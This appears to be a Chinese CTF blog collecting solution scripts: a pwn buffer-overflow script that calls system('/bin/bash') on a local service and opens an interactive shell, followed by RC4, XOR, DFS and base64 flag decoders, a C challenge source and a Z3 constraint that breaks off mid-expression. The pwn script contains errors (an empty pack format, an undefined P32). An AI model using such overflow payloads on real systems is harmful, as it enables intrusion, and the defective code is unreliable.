脚本整理Ⅰ

Juana_2u 记录来时的路

pwn脚本收集Ⅰ

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import socket
import struct
import telnetlib

def p32(val):
#将32位的整数转化为字符串(小端模式)
return struct.pack("",val)
def pwn():
#创建一个TCP socket
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#连接服务器端口
s.connect(("127.0.0.1",8888))
#system函数的地址0x080483A0
system_addr = P32(0x080483A0)
#/bin/bash字符串的地址0x08048610
binsh_addr = P32(0x08048610)
##填充数据
nops = 'A'*4
#payload构建
payload = 'A'*0x88 +nops+system_addr+nops+binsh_addr
#向服务器发送数据
s.sendall(payload+'\n')
#创建telnet 产生控制服务器的shell
t = telnetlib.Telnet()
t.sock = s
t.interact()

if __name__ == "__main__":
pwn()

socket字节码(socket通信编码解码)

1
2
1)编码:把字符串str转换成用于存储或传输的字节序列bytes
2)解码:把字节序列bytes转换成人类可读的文本字符串str

python3中内置的两种基本数据类型

1
2
1str 数据类型----以unicode(万国码)编码存储
2bytes 数据类型----以十六进制形式存储

编码解码的方式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
1str>>>bytes:编码
方法1:字符串数据.encode(编码规则)
eg:
s=“hello”
bt=s.encode("utf-8") #采用utf8编码规则将str类型数据转换为byte类型数据

方法2:bytes(字符串数据,编码规则)
eg:
s="hello"
bt=bytes(s,"utf8") #采用utf8编码规则将str类型数据转换为byte类型数据

2bytes>>>str:解码
方法1:字符串数据.decode(编码规则)
eg:
bt=bytes("welcome 你","utf8")
s=bt.decode("utf-8") #采用utf8编码则对应解码也应该采用utf8.否则会出现解码错误情况

方法2:str(bytes类型数据,编码规则)
eg:
bt=bytes("welcome 你","utf8")
s=str(bt,"utf8") #采用utf8编码则对应解码也应该采用utf8.否则会出现解码错误情况

例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
##UTF-8编码
>>> s="Welcome 你好"
>>> print(type(s))
<class 'str'>
>>> b = bytes(s,"utf-8")
>>> print(b)
b'Welcome \xe4\xbd\xa0\xe5\xa5\xbd'

##UTF-8解码
>>> b1 = s.encode("utf-8")
>>> print(b1)
b'Welcome \xe4\xbd\xa0\xe5\xa5\xbd'
>>> new_s = b1.decode("utf-8")
>>> print(new_s)
Welcome 你好
>>> new_s1 = str(b1,"utf_8")
>>> print(new_s1)
Welcome 你好
1
2
3
4
5
6
7
8
##GBK编码
>>> str = "你好 world"
>>> new_str = bytes(str,"gbk")
>>> print("gbk编码方式下的bytes:%s" %new_str)
gbk编码方式下的bytesb'\xc4\xe3\xba\xc3 world'
>>> new_str1 = new_str.decode("gbk")
>>> print("gbk解码后str类型:%s" %new_str1)
gbk解码后str类型:你好 world

RC4解密脚本示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
import base64
def rc4_main(key = "init_key", message = "init_message"):
print("RC4解密主函数调用成功")
print('\n')
s_box = rc4_init_sbox(key)
crypt = rc4_excrypt(message, s_box)
return crypt
def rc4_init_sbox(key):
s_box = list(range(256))
print("原来的 s 盒:%s" % s_box)
print('\n')
j = 0
for i in range(256):
j = (j + s_box[i] + ord(key[i % len(key)])) % 256
s_box[i], s_box[j] = s_box[j], s_box[i]
print("混乱后的 s 盒:%s"% s_box)
print('\n')
return s_box
def rc4_excrypt(plain, box):
print("调用解密程序成功。")
print('\n')
plain = base64.b64decode(plain.encode('utf-8'))
plain = bytes.decode(plain)
res = []
i = j = 0
for s in plain:
i = (i + 1) % 256
j = (j + box[i]) % 256
box[i], box[j] = box[j], box[i]
t = (box[i] + box[j]) % 256
k = box[t]
res.append(chr(ord(s) ^ k))
print("res用于解密字符串,解密后是:%res" %res)
print('\n')
cipher = "".join(res)
print("解密后的字符串是:%s" %cipher)
print('\n')
print("解密后的输出(没经过任何编码):")
print('\n')
return cipher
a=[] #cipher
key="flag{123321321123badbeef012}"
s="\x1d\xc5\x80_\xe7\x0cX\x06\xb1\x9e\x1d=x?\x85v\xa6\x97\x89\x0f\xe2\x8c\x84U\xc6[\xc4V\x02\xbb\xf2\xbaq\xa3\x16\xc1x\xa6!\xa7\x04\x96)"
for i in a:
s+=chr(i)
s=str(base64.b64encode(s.encode('utf-8')), 'utf-8')
rc4_main(key, s)

##result
D:\CollegeStudy\Python_code\venv\Scripts\python.exe D:/CTF_Tools/0_CTF_Scripts/BuuCTF_Test/erefinal.py
RC4解密主函数调用成功

原来的 s 盒:[0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255]

混乱后的 s 盒:[77, 211, 134, 160, 149, 85, 141, 43, 217, 61, 105, 55, 34, 206, 113, 188, 245, 84, 115, 82, 200, 96, 223, 47, 26, 17, 14, 49, 13, 187, 23, 33, 97, 146, 46, 124, 108, 159, 65, 155, 129, 79, 51, 199, 0, 168, 132, 5, 169, 63, 192, 89, 22, 76, 87, 182, 88, 226, 184, 111, 50, 148, 183, 176, 41, 122, 152, 24, 91, 156, 73, 218, 39, 229, 241, 44, 252, 102, 196, 27, 28, 29, 135, 2, 104, 185, 78, 140, 38, 170, 11, 179, 224, 138, 30, 207, 66, 107, 60, 202, 167, 139, 56, 128, 83, 175, 144, 100, 253, 72, 219, 190, 80, 130, 126, 7, 90, 15, 164, 174, 151, 150, 198, 239, 157, 3, 92, 197, 32, 101, 142, 244, 225, 203, 116, 12, 231, 161, 98, 16, 162, 201, 209, 163, 127, 25, 165, 255, 71, 118, 119, 235, 112, 21, 215, 36, 173, 53, 230, 143, 247, 20, 236, 45, 242, 254, 213, 180, 52, 181, 221, 154, 4, 166, 58, 193, 62, 93, 1, 248, 238, 37, 8, 110, 208, 67, 222, 42, 178, 194, 133, 18, 186, 106, 249, 147, 177, 171, 48, 69, 70, 109, 216, 212, 81, 123, 136, 233, 10, 114, 210, 250, 99, 214, 220, 120, 227, 54, 64, 59, 103, 94, 75, 189, 117, 246, 86, 240, 172, 205, 153, 35, 74, 131, 251, 137, 243, 19, 9, 232, 191, 95, 6, 204, 121, 234, 158, 68, 145, 228, 237, 125, 57, 195, 40, 31]

调用解密程序成功。

res用于解密字符串,解密后是:['f', 'l', 'a', 'g', '{', 'R', 'C', '_', 'f', '0', 'u', 'r', '_', 'A', 'n', 'd', '_', 'B', 'a', 's', 'e', '_', 's', '1', 'x', 't', 'y', '_', 'f', '0', 'u', 'r', '_', 'E', 'n', 'c', 'r', 'y', 'p', 't', '_', '!', '}']es

解密后的字符串是:flag{RC_f0ur_And_Base_s1xty_f0ur_Encrypt_!}

解密后的输出(没经过任何编码):

进程已结束,退出代码0

DFS解密脚本示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
str2=[0x02, 0x18, 0x0F, 0xF8, 0x19, 0x04, 0x27, 0xD8, 0xEB, 0x00, 
0x35, 0x48, 0x4D, 0x2A, 0x45, 0x6B, 0x59, 0x2E, 0x43, 0x01,
0x18, 0x5C, 0x09, 0x09, 0x09, 0x09, 0xB5, 0x7D]
tmp=[0]*28
tmp[len(str2)-1]=str2[-1]
def DFS(deep):
if deep==0:
print(bytes(tmp))
else:
for i in range(0xff):
if(i^0x19)^(i%0x11+tmp[deep]) == str2[deep-1]:
tmp[deep-1]=i
DFS(deep-1)
DFS(len(str2)-1)

基础脚本整理

数字异或Ⅰ

exp_begin.py

1
2
3
4
5
6
7
8
str2 = [116, 118, 124, 122, 109, 127,  98,  65,  41, 107, 
70, 40, 106, 70, 106, 41, 70, 112, 119, 109,
42, 107, 42, 106, 109, 112, 119, 126, 56, 56,
56, 56, 56, 100]
flag = ""
for i in range(len(str2)):
flag+=chr(str2[i]^0x19)
print(flag)

exp_int-char.py

1
2
3
4
5
6
enc=(65, 80, 64, 93, 114, 81, 70, 91, 86, 96, 60, 86, 100, 102, 
123, 108, 86, 64, 103, 125, 108, 123, 108, 122, 125, 96, 103, 110, 40, 40, 40, 116)
flag=''
for i in range(len(enc)):
flag+=chr(enc[i]^0x9)
print(flag)

数字异或Ⅱ

多个数列异或处理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
enc=[0x15, 0x21, 0x0F, 0x19, 0x25, 0x5B, 0x19, 0x39, 0x5F, 0x3A, 
0x3B, 0x30, 0x74, 0x07, 0x43, 0x3F, 0x09, 0x5A, 0x34, 0x0C,
0x74, 0x3F, 0x1E, 0x2D, 0x27, 0x21, 0x12, 0x16, 0x1F]
key=b'yunzh1junTCL,trackYYDS'

add1=[ 0x48, 0x47, 0x5D, 0x4E, 0x5D, 0x07, 0x5D, 0x4D, 0x57, 0x65,
0x71, 0x7F, 0x18, 0x41, 0x44, 0x56, 0x5B, 0x52, 0x68, 0x6B,
0x77, 0x67, 0x4C, 0x43, 0x59, 0x42, 0x51, 0x00, 0x58]
add2=[ 0x49, 0x4E, 0x61, 0x4E, 0x66, 0x0B, 0x65, 0x55, 0x59, 0x69,
0x76, 0x84, 0x19, 0x48, 0x45, 0x57, 0x60, 0x54, 0x6F, 0x71,
0x78, 0x6B, 0x4E, 0x46, 0x5B, 0x44, 0x52, 0x06, 0x60]
flag=''
for i in range(len(enc)):
flag += chr((enc[i] - add2[i] + add1[i]) ^ key[i % len(key)])
print(flag)

数字与字符串拼接异或处理Ⅲ

exp_S1xor1.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
enc = ['f',0x0A,'k',0x0C,'w&O.@',0x11,'x',0x0D,
'Z;U',0x11,'p',0x19,'F',0x1F,'v"M#D',0x0E,'g',0x6,'h',0x0F,'G2O',0]

for i in range(len(enc)):
if type(enc[i])==int: #将数字转化成字符
enc[i] = chr(enc[i])


enc ="".join(enc)
flag = 'f'
for i in range(1,len(enc)): ##范围是从第1位一直到字符的最后一位
flag += chr(ord(enc[i])^ord(enc[i-1])) ##ord()函数是将字符串转为整数的函数
print(flag) ##打印flag

##result
D:\CollegeStudy\Python_code\venv\Scripts\python.exe D:/CTF_Tools/0_CTF_Scripts/BuuCTF_Test/S1xor1.py
flag{QianQiuWanDai_YiTongJiangHu}O

进程已结束,退出代码0

将enc字符串处理好之后,使用chr()函数将enc中所有的数字转为字符,接着做数列的拼接

1
2
3
4
5
enclist ="".join(enc)
flag = 'f'
for i in range(1,len(enclist)): ##范围是从第1位一直到字符的最后一位
flag += chr(ord(enclist[i])^ord(enclist[i-1])) ##ord()函数是将字符串转为整数的函数
print(flag) ##打印flag

Code2将代码1中enc改为了enclist,即第二个enclist是为由字符串组成的序列元素,生成一个新的字符串enclist

exp_S11.py

1
2
3
4
5
6
7
8
9
f1 = 'GXY{do_not_'
f2 = [0x69, 0x63, 0x75, 0x67, 0x60, 0x6F, 0x66, 0x7F] #这里用的是第二种方法转换
temp = ''
for i in range(8):
if (i%2)==1:
temp += chr(f2[i]-2)
else:
temp += chr(f2[i]-1) #别忘了将转回字符串
print(f1+temp)

Code3使用的是分离的方式来求最后的flag值,直接对f2的数组进行处理后与f1拼接

1
2
3
4
5
6
7
8
9
10
11
f2 = '\x7Ffo`guci'[::-1]
f2a = ''
for i in range(8):
if i%2 == 1:
f2a += chr(ord(f2[i]) - 2)
else:
f2a += chr(ord(f2[i]) - 1)


flag = 'GXY{do_not_'+f2a
print(flag )

Code4也是使用的是分离的方式来求最后的flag值,先将f2逆序,接着处理。

字符转数字Ⅰ—同理可以异或处理

进行异或exp_16.py

1
2
3
4
5
enc = ("AP@]rQF[V`<Vdf{lV@g}l{lz}`gn(((t")
flag=[]
for character in enc:
flag.append(ord(character))
print(flag)

exp_key18.py

1
2
3
4
5
6
7
8
9
10
enc ="Qsw3sj_lz4_Ujw@l"
flag=[]
for character in enc:
flag.append(ord(character))
print(flag)

##reslut
D:\CollegeStudy\Python_code\venv\Scripts\python.exe D:/CTF_Tools/0_CTF_Scripts/BuuCTF_Test/mytest.py
[81, 115, 119, 51, 115, 106, 95, 108, 122, 52, 95, 85, 106, 119, 64, 108]
进程已结束,退出代码0

两篇脚本使用的都是python中的append函数,将提供的enc字符转为数字,调试时注意到flag=[]flag="" 分别对应求解flag的类型数字字符串

数字转字符Ⅱ

exp_key.py

1
2
3
4
5
6
7
flag =''
key=[109,111,101,99,116,102,123,68,95,102,108,97,116,101,95,105,115,95,67,95,115,104
,97,114,112,33,125]
for i in range(len(key)):
flag+=chr(key[i])

print(flag)
1
2
3
4
5
ec = [90,74,83,69,67,97,78,72,51,110,103]
tmp=''
for i in range(len(ec)):
tmp += chr(ec[i])
print(tmp)

base64字符处理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import base64
str = 'e3nifIH9b_C@n@dH'
flag = ''
index = ''
for i in range(len(str)): ##范围是从0到最后
index = chr (ord(str[i])-i)
##算出来之间的字符后,下一步进行base64编码的转化
flag += index

##base64.b64decode()方法,我们可以将二进制字符串解码为正常形式
flag = base64.b64decode(flag)
print(flag)

##result
D:\CollegeStudy\Python_code\venv\Scripts\python.exe D:/CTF_Tools/0_CTF_Scripts/BuuCTF_Test/Str_base64decode.py
b'{i_l0ve_you}'

进程已结束,退出代码0

双层加密

源c代码 chicken_soup.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#include <stdio.h>
#include <string.h>
unsigned char check[]={0xCD, 0x4D, 0x8C, 0x7D, 0xAD, 0x1E, 0xBE, 0x4A, 0x8A, 0x7D,
0xBC, 0x7C, 0xFC, 0x2E, 0x2A, 0x79, 0x9D, 0x6A, 0x1A, 0xCC,
0x3D, 0x4A, 0xF8, 0x3C, 0x79, 0x69, 0x39, 0xD9, 0xDD, 0x9D,
0xA9, 0x69, 0x4C, 0x8C, 0xDD, 0x59, 0xE9, 0xD7,0};
void enc1(unsigned char*input){
_asm {
jz label
jnz label
_emit 0xe9
label:
}
for(int i =0; i<strlen((const char*)input)-1;i++)
input[i]+=input[i+1];
}
void enc2(unsigned char*input){
_asm{
jz label
jnz label
_emit 0xe9
label:
}
for(int i =0;i<strlen((const char*)input);i++)
input[i]=((input[i]>>4)|(input[i]<<4))&0xff;
}
int my_strcmp(unsigned char*s1,unsigned char*s2){
int i = 0,f=0;
while(i<38)
if(s1[i]==s2[i])
f++;
if(f==38)
return 1;
else
return 0;
}
int main(){
unsigned char input[100];
puts("I poisoned the program... Can you reverse it?!");
puts("Come on! Give me your flag:");
scanf_s("%s",input,100);
if ( strlen((const char*)input) != 38 )
{
puts("\nQwQ, please try again.");
return 0;
}
enc1(input);
enc2(input);
if(my_strcmp(input,check))
puts("\nTTTTTTTTTTQQQQQQQQQQQQQLLLLLLLLL!!!!");
else
puts("\nQwQ, please try again.");
return 0;
}

解密的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
enc=[0xCD, 0x4D, 0x8C, 0x7D, 0xAD, 0x1E, 0xBE, 0x4A, 0x8A, 0x7D, 
0xBC, 0x7C, 0xFC, 0x2E, 0x2A, 0x79, 0x9D, 0x6A, 0x1A, 0xCC,
0x3D, 0x4A, 0xF8, 0x3C, 0x79, 0x69, 0x39, 0xD9, 0xDD, 0x9D,
0xA9, 0x69, 0x4C, 0x8C, 0xDD, 0x59, 0xE9, 0xD7]
for i in range(len(enc)):
#伪代码中loc_401080是第二步加密
#所以在exp中是第一层解密
enc[i] = ((enc[i]>>4)|(enc[i]<<4)) &0xff
#for i in range(len(enc)):
for i in range(len(enc)-1,0,-1):
#源代码:enc[i] = enc[i+1]
enc[i-1]-=enc[i]
print(bytes(enc))

Z3求解器

源程序为pyc逆向获得的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 3.8

print('Maybe z3 can help you solve this challenge.')
print('Now give me your flag, and I will check for you.')
flag = input('Input your flag:')
if len(flag) == 22 and ord(flag[0]) * 7072 + ord(flag[1]) * 2523 + ord(flag[2]) * 6714 + ord(flag[3]) * 8810 + ord(flag[4]) * 6796 + ord(flag[5]) * 2647 + ord(flag[6]) * 1347 + ord(flag[7]) * 1289 + ord(flag[8]) * 8917 + ord(flag[9]) * 2304 + ord(flag[10]) * 5001 + ord(flag[11]) * 2882 + ord(flag[12]) * 7232 + ord(flag[13]) * 3192 + ord(flag[14]) * 9676 + ord(flag[15]) * 5436 + ord(flag[16]) * 4407 + ord(flag[17]) * 6269 + ord(flag[18]) * 9623 + ord(flag[19]) * 6230 + ord(flag[20]) * 6292 + ord(flag[21]) * 57 == 10743134 and ord(flag[0]) * 3492 + ord(flag[1]) * 1613 + ord(flag[2]) * 3234 + ord(flag[3]) * 5656 + ord(flag[4]) * 9182 + ord(flag[5]) * 4240 + ord(flag[6]) * 8808 + ord(flag[7]) * 9484 + ord(flag[8]) * 4000 + ord(flag[9]) * 1475 + ord(flag[10]) * 2616 + ord(flag[11]) * 2766 + ord(flag[12]) * 6822 + ord(flag[13]) * 1068 + ord(flag[14]) * 9768 + ord(flag[15]) * 1420 + ord(flag[16]) * 4528 + ord(flag[17]) * 1031 + ord(flag[18]) * 8388 + ord(flag[19]) * 2029 + ord(flag[20]) * 2463 + ord(flag[21]) * 32 == 9663091 and ord(flag[0]) * 9661 + ord(flag[1]) * 1108 + ord(flag[2]) * 2229 + ord(flag[3]) * 1256 + ord(flag[4]) * 7747 + ord(flag[5]) * 5775 + ord(flag[6]) * 5211 + ord(flag[7]) * 2387 + ord(flag[8]) * 1997 + ord(flag[9]) * 4045 + ord(flag[10]) * 7102 + ord(flag[11]) * 7853 + ord(flag[12]) * 5596 + ord(flag[13]) * 6952 + ord(flag[14]) * 8883 + ord(flag[15]) * 5125 + ord(flag[16]) * 9572 + ord(flag[17]) * 1149 + ord(flag[18]) * 7583 + ord(flag[19]) * 1075 + ord(flag[20]) * 9804 + ord(flag[21]) * 72 == 10521461 and ord(flag[0]) * 4314 + ord(flag[1]) * 3509 + ord(flag[2]) * 6200 + ord(flag[3]) * 5546 + ord(flag[4]) * 1705 + ord(flag[5]) * 9518 + ord(flag[6]) * 2975 + ord(flag[7]) * 2689 + ord(flag[8]) * 2412 + ord(flag[9]) * 8659 + ord(flag[10]) * 5459 + ord(flag[11]) * 7572 + ord(flag[12]) * 3042 + ord(flag[13]) * 9701 + ord(flag[14]) * 4697 + ord(flag[15]) * 9863 + ord(flag[16]) * 1296 + ord(flag[17]) * 1278 + ord(flag[18]) * 5721 + ord(flag[19]) * 5116 + ord(flag[20]) * 4147 + ord(flag[21]) * 52 == 9714028 and ord(flag[0]) * 2310 + ord(flag[1]) * 1379 + ord(flag[2]) * 5900 + ord(flag[3]) * 4876 + ord(flag[4]) * 5329 + ord(flag[5]) * 6485 + ord(flag[6]) * 6610 + ord(flag[7]) * 7179 + ord(flag[8]) * 7897 + ord(flag[9]) * 1094 + ord(flag[10]) * 4825 + ord(flag[11]) * 8101 + ord(flag[12]) * 9519 + ord(flag[13]) * 3048 + ord(flag[14]) * 3168 + ord(flag[15]) * 2775 + ord(flag[16]) * 4366 + ord(flag[17]) * 4066 + ord(flag[18]) * 7490 + ord(flag[19]) * 5533 + ord(flag[20]) * 2139 + ord(flag[21]) * 87 == 10030960 and ord(flag[0]) * 1549 + ord(flag[1]) * 8554 + ord(flag[2]) * 6510 + ord(flag[3]) * 6559 + ord(flag[4]) * 5570 + ord(flag[5]) * 1003 + ord(flag[6]) * 8562 + ord(flag[7]) * 6793 + ord(flag[8]) * 3509 + ord(flag[9]) * 4965 + ord(flag[10]) * 6111 + ord(flag[11]) * 1229 + ord(flag[12]) * 5654 + ord(flag[13]) * 2204 + ord(flag[14]) * 2217 + ord(flag[15]) * 5039 + ord(flag[16]) * 5657 + ord(flag[17]) * 9426 + ord(flag[18]) * 7604 + ord(flag[19]) * 5883 + ord(flag[20]) * 5285 + ord(flag[21]) * 17 == 10946682 and ord(flag[0]) * 2678 + ord(flag[1]) * 4369 + ord(flag[2]) * 7509 + ord(flag[3]) * 1564 + ord(flag[4]) * 7777 + ord(flag[5]) * 2271 + ord(flag[6]) * 9696 + ord(flag[7]) * 3874 + ord(flag[8]) * 2212 + ord(flag[9]) * 6764 + ord(flag[10]) * 5727 + ord(flag[11]) * 5971 + ord(flag[12]) * 5876 + ord(flag[13]) * 9959 + ord(flag[14]) * 4604 + ord(flag[15]) * 8461 + ord(flag[16]) * 2350 + ord(flag[17]) * 3564 + ord(flag[18]) * 1831 + ord(flag[19]) * 6088 + ord(flag[20]) * 4575 + ord(flag[21]) * 9 == 10286414 and ord(flag[0]) * 8916 + ord(flag[1]) * 8647 + ord(flag[2]) * 4522 + ord(flag[3]) * 3579 + ord(flag[4]) * 5319 + ord(flag[5]) * 9124 + ord(flag[6]) * 9535 + ord(flag[7]) * 5125 + ord(flag[8]) * 3235 + ord(flag[9]) * 3246 + ord(flag[10]) * 3378 + ord(flag[11]) * 9221 + ord(flag[12]) * 1875 + ord(flag[13]) * 1008 + ord(flag[14]) * 6262 + ord(flag[15]) * 1524 + ord(flag[16]) * 8851 + ord(flag[17]) * 4367 + ord(flag[18]) * 7628 + ord(flag[19]) * 9404 + ord(flag[20]) * 2065 + ord(flag[21]) * 9 == 11809388 and ord(flag[0]) * 9781 + ord(flag[1]) * 9174 + ord(flag[2]) * 3771 + ord(flag[3]) * 6972 + ord(flag[4]) * 6425 + ord(flag[5]) * 7631 + ord(flag[6]) * 8864 + ord(flag[7]) * 9117 + ord(flag[8]) * 4328 + ord(flag[9]) * 3919 + ord(flag[10]) * 6517 + ord(flag[11]) * 7165 + ord(flag[12]) * 6895 + ord(flag[13]) * 3609 + ord(flag[14]) * 3878 + ord(flag[15]) * 1593 + ord(flag[16]) * 9098 + ord(flag[17]) * 6432 + ord(flag[18]) * 2584 + ord(flag[19]) * 8403 + ord(flag[20]) * 4029 + ord(flag[21]) * 30 == 13060508 and ord(flag[0]) * 2511 + ord(flag[1]) * 8583 + ord(flag[2]) * 2428 + ord(flag[3]) * 9439 + ord(flag[4]) * 3662 + ord(flag[5]) * 3278 + ord(flag[6]) * 8305 + ord(flag[7]) * 1100 + ord(flag[8]) * 7972 + ord(flag[9]) * 8510 + ord(flag[10]) * 8552 + ord(flag[11]) * 9993 + ord(flag[12]) * 6855 + ord(flag[13]) * 1702 + ord(flag[14]) * 1640 + ord(flag[15]) * 3787 + ord(flag[16]) * 8161 + ord(flag[17]) * 2110 + ord(flag[18]) * 5320 + ord(flag[19]) * 3313 + ord(flag[20]) * 9286 + ord(flag[21]) * 74 == 10568195 and ord(flag[0]) * 4974 + ord(flag[1]) * 4445 + ord(flag[2]) * 7368 + ord(flag[3]) * 9132 + ord(flag[4]) * 5894 + ord(flag[5]) * 7822 + ord(flag[6]) * 7923 + ord(flag[7]) * 6822 + ord(flag[8]) * 2698 + ord(flag[9]) * 3643 + ord(flag[10]) * 8392 + ord(flag[11]) * 4126 + ord(flag[12]) * 1941 + ord(flag[13]) * 6641 + ord(flag[14]) * 2949 + ord(flag[15]) * 7405 + ord(flag[16]) * 9980 + ord(flag[17]) * 6349 + ord(flag[18]) * 3328 + ord(flag[19]) * 8766 + ord(flag[20]) * 9508 + ord(flag[21]) * 65 == 12514783 and ord(flag[0]) * 4127 + ord(flag[1]) * 4703 + ord(flag[2]) * 6409 + ord(flag[3]) * 4907 + ord(flag[4]) * 5230 + ord(flag[5]) * 3371 + ord(flag[6]) * 5666 + ord(flag[7]) * 3194 + ord(flag[8]) * 5448 + ord(flag[9]) * 8415 + ord(flag[10]) * 4525 + ord(flag[11]) * 4152 + ord(flag[12]) * 1467 + ord(flag[13]) * 5254 + ord(flag[14]) * 2256 + ord(flag[15]) * 1643 + ord(flag[16]) * 9113 + ord(flag[17]) * 8805 + ord(flag[18]) * 4315 + ord(flag[19]) * 8371 + ord(flag[20]) * 1919 + ord(flag[21]) * 2 == 10299950 and ord(flag[0]) * 6245 + ord(flag[1]) * 8783 + ord(flag[2]) * 6059 + ord(flag[3]) * 9375 + ord(flag[4]) * 9253 + ord(flag[5]) * 1974 + ord(flag[6]) * 8867 + ord(flag[7]) * 6423 + ord(flag[8]) * 2577 + ord(flag[9]) * 6613 + ord(flag[10]) * 2040 + ord(flag[11]) * 2209 + ord(flag[12]) * 4147 + ord(flag[13]) * 7151 + ord(flag[14]) * 1011 + ord(flag[15]) * 9446 + ord(flag[16]) * 4362 + ord(flag[17]) * 3073 + ord(flag[18]) * 3006 + ord(flag[19]) * 5499 + ord(flag[20]) * 8850 + ord(flag[21]) * 23 == 11180727 and ord(flag[0]) * 1907 + ord(flag[1]) * 9038 + ord(flag[2]) * 3932 + ord(flag[3]) * 7054 + ord(flag[4]) * 1135 + ord(flag[5]) * 5095 + ord(flag[6]) * 6962 + ord(flag[7]) * 6481 + ord(flag[8]) * 7049 + ord(flag[9]) * 5995 + ord(flag[10]) * 6233 + ord(flag[11]) * 1321 + ord(flag[12]) * 4455 + ord(flag[13]) * 8181 + ord(flag[14]) * 5757 + ord(flag[15]) * 6953 + ord(flag[16]) * 3167 + ord(flag[17]) * 5508 + ord(flag[18]) * 4602 + ord(flag[19]) * 1420 + ord(flag[20]) * 3075 + ord(flag[21]) * 25 == 10167536 and ord(flag[0]) * 1489 + ord(flag[1]) * 9236 + ord(flag[2]) * 7398 + ord(flag[3]) * 4088 + ord(flag[4]) * 4131 + ord(flag[5]) * 1657 + ord(flag[6]) * 9068 + ord(flag[7]) * 6420 + ord(flag[8]) * 3970 + ord(flag[9]) * 3265 + ord(flag[10]) * 5343 + ord(flag[11]) * 5386 + ord(flag[12]) * 2583 + ord(flag[13]) * 2813 + ord(flag[14]) * 7181 + ord(flag[15]) * 9116 + ord(flag[16]) * 4836 + ord(flag[17]) * 6917 + ord(flag[18]) * 1123 + ord(flag[19]) * 7276 + ord(flag[20]) * 2257 + ord(flag[21]) * 65 == 10202212 and ord(flag[0]) * 2097 + ord(flag[1]) * 1253 + ord(flag[2]) * 1469 + ord(flag[3]) * 2731 + ord(flag[4]) * 9565 + ord(flag[5]) * 9185 + ord(flag[6]) * 1095 + ord(flag[7]) * 8666 + ord(flag[8]) * 2919 + ord(flag[9]) * 7962 + ord(flag[10]) * 1497 + ord(flag[11]) * 6642 + ord(flag[12]) * 4108 + ord(flag[13]) * 6892 + ord(flag[14]) * 7161 + ord(flag[15]) * 7552 + ord(flag[16]) * 5666 + ord(flag[17]) * 4060 + ord(flag[18]) * 7799 + ord(flag[19]) * 5080 + ord(flag[20]) * 8516 + ord(flag[21]) * 43 == 10435786 and ord(flag[0]) * 1461 + ord(flag[1]) * 1676 + ord(flag[2]) * 4755 + ord(flag[3]) * 7982 + ord(flag[4]) * 3860 + ord(flag[5]) * 1067 + ord(flag[6]) * 6715 + ord(flag[7]) * 4019 + ord(flag[8]) * 4983 + ord(flag[9]) * 2031 + ord(flag[10]) * 1173 + ord(flag[11]) * 2241 + ord(flag[12]) * 2594 + ord(flag[13]) * 8672 + ord(flag[14]) * 4810 + ord(flag[15]) * 7963 + ord(flag[16]) * 7749 + ord(flag[17]) * 5730 + ord(flag[18]) * 9855 + ord(flag[19]) * 5858 + ord(flag[20]) * 2349 + ord(flag[21]) * 71 == 9526385 and ord(flag[0]) * 9025 + ord(flag[1]) * 9536 + ord(flag[2]) * 1515 + ord(flag[3]) * 8177 + ord(flag[4]) * 6109 + ord(flag[5]) * 4856 + ord(flag[6]) * 6692 + ord(flag[7]) * 4929 + ord(flag[8]) * 1010 + ord(flag[9]) * 3995 + ord(flag[10]) * 3511 + ord(flag[11]) * 5910 + ord(flag[12]) * 3501 + ord(flag[13]) * 3731 + ord(flag[14]) * 6601 + ord(flag[15]) * 6200 + ord(flag[16]) * 8177 + ord(flag[17]) * 5488 + ord(flag[18]) * 5957 + ord(flag[19]) * 9661 + ord(flag[20]) * 4956 + ord(flag[21]) * 48 == 11822714 and ord(flag[0]) * 4462 + ord(flag[1]) * 1940 + ord(flag[2]) * 5956 + ord(flag[3]) * 4965 + ord(flag[4]) * 9268 + ord(flag[5]) * 9627 + ord(flag[6]) * 3564 + ord(flag[7]) * 5417 + ord(flag[8]) 